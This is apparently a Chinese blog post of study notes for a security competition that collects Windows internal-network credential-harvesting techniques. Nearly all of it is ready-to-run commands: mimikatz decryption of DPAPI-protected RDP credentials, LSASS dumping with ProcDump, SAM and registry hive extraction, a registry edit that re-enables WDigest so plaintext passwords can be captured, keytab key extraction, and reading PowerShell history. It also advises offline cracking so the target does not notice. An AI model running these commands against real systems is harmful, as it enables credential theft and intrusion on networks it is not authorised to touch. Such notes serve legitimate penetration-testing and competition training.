内网凭据收集

前言

快要市赛了,这里总结一下常见内网凭据收集的方式。

winlogon

查注册表,是否有自动登录,如果有就可以拿到明文密码直接登录了(可以用winpeas扫出来)

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

rdp

Windows 的 Credentials 文件夹存放DPAPI 加密的 RDP、网页、共享文件夹凭据缓存,远程桌面 RDP 保存的账号密码都会使用masterkey加密存在这里。

查看连接记录

cmdkey /list

查找本地的Credentials,系统文件默认是隐藏的,需要设置显示隐藏文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

dir /a C:\Users\Administrator\AppData\Local\Microsoft\Credentials\*
gci "C:\Users\Administrator\AppData\Local\Microsoft\Credentials\" -Force

在线读取rdp明文密码

使用mimikatz获取该文件的guidMasterKey值

mimikatz # privilege::debug

mimikatz # dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7

#一键命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01" exit

通过guidMasterKey值找到内存中对应的MasterKey

mimikatz # sekurlsa::dpapi

#一键命令
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

最后mimikatz用masterkey解密凭据

mimikatz # dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6

#一键命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xuanjian\AppData\Local\Microsoft\Credentials\B0B07C74251019634D3D975E183A4D01 /masterkey:0541b84285d48012015ae28a75935a53eedcca0423d74e9c34c10a82c6991015f371097e61bc6d927e82a80bbdb0cdcd1e00431a7f93e65a209b7150f80c1eba" exit

使用下面的命令查看获取到的所有的masterkey

mimikatz # dpapi::cache

离线读取rdp明文密码

原理很简单,就是把凭据文件和lsass内存下载到本地破解, 这样就避免被对方发现。

导出lsass内存ProcDump - Sysinternals | Microsoft Learn

Procdump.exe -accepteula -ma lsass.exe lsass.dump

下载lsass.dmp和凭据文件到本地,然后用mimikatz载入内存

Sekurlsa::minidump lsass.dump

获取Credentials的GUID

dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7

获取内存中所有的MasterKey,找到GUID对应的

sekurlsa::dpapi

利用MasterKey解密

dpapi::cred /in:5CF098107895D40EC0A0FC47FB5BB7C7 /masterkey:6b6ddf293f178cb282c2906c69d92226c137cca320aa6db2043708bc2755eba6cdd8faa89ef7dd656597da5346ecbb66aa57108247555e13caac0ff09ce2e1c6

sam

SAM的全称是:securityaccountmanager (安全账号管理器)

当我们登录系统的时候,系统会自动地和Config中的SAM自动校对,如发现此次密码和用户名全与SAM文件中的加密数据符合时,你就会顺利登录;如果错误则无法登录。

在线读取sam文件

mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

离线读取本地SAM文件

reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive

lsass

LSASS(Local Security Authority Subsystem Service)是 Windows 系统中负责本地安全策略执行和用户认证的关键进程。转储 LSASS 内存可以提取敏感信息(如凭据),但需要管理员权限。以下是几种常见的 LSASS 转储方法及其实现方式。

在线读取lsass进程

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

离线读取lsass内存文件

也可以将lsass的进程内存转储,导出到本地后使用mimikatz离线读取

推荐用微软官方的工具ProcDump - Sysinternals | Microsoft Learn

procdump.exe -accepteula -ma lsass.exe lsass.dmp

把lsass.dmp放到本地离线读取

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

在上面的抓取过程中可以看见,wdigest功能中抓取不到明文密码,因为微软在2014年5月发布了补丁,关闭了wdigest功能,禁止从内存中获取明文密码,且windows server 2012及以上版本默认关闭了wdigest功能

可以通过修改注册表,可以重新开启wdigest功能:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# 开启wdigest

在开启wdigest后,若主机再次触发本地认证操作(比如睡眠后重新登录),则可抓取明文密码

keytab

Keytab(即“密钥表”)用于存储一个或多个主体的长期密钥。Keytab 通常以标准格式的文件表示,尽管在极少数情况下,它们可以用其他方式表示。Keytab 最常用于允许服务器应用程序接受来自客户端的身份验证,但也可以用于为客户端应用程序获取初始凭证。

用脚本解密sosdave/KeyTabExtract: Extracts Key Values from .keytab files

 python .\keytabextract.py .\test.keytab

如果想要明文密码可以用这个在线网站破解MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊

powershell

powershell历史命令存在这个路径下

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

里面可能存着历史创建用户的命令,就可以拿到明文密码了

参考

[内网]RDP远程桌面密码凭证获取_查看远程桌面保存的密码-CSDN博客

Windows RDP凭证的抓取和密码破解 - candada - 博客园

获取已控机器本地保存的RDP密码-腾讯云开发者社区-腾讯云

Windows中的SAM文件_windows sam文件-CSDN博客

windows信息搜集篇(三)之凭证收集 - 404p3rs0n - 博客园

posted @ 2026-08-13 14:23  leee0  阅读(43)  评论(0)    收藏  举报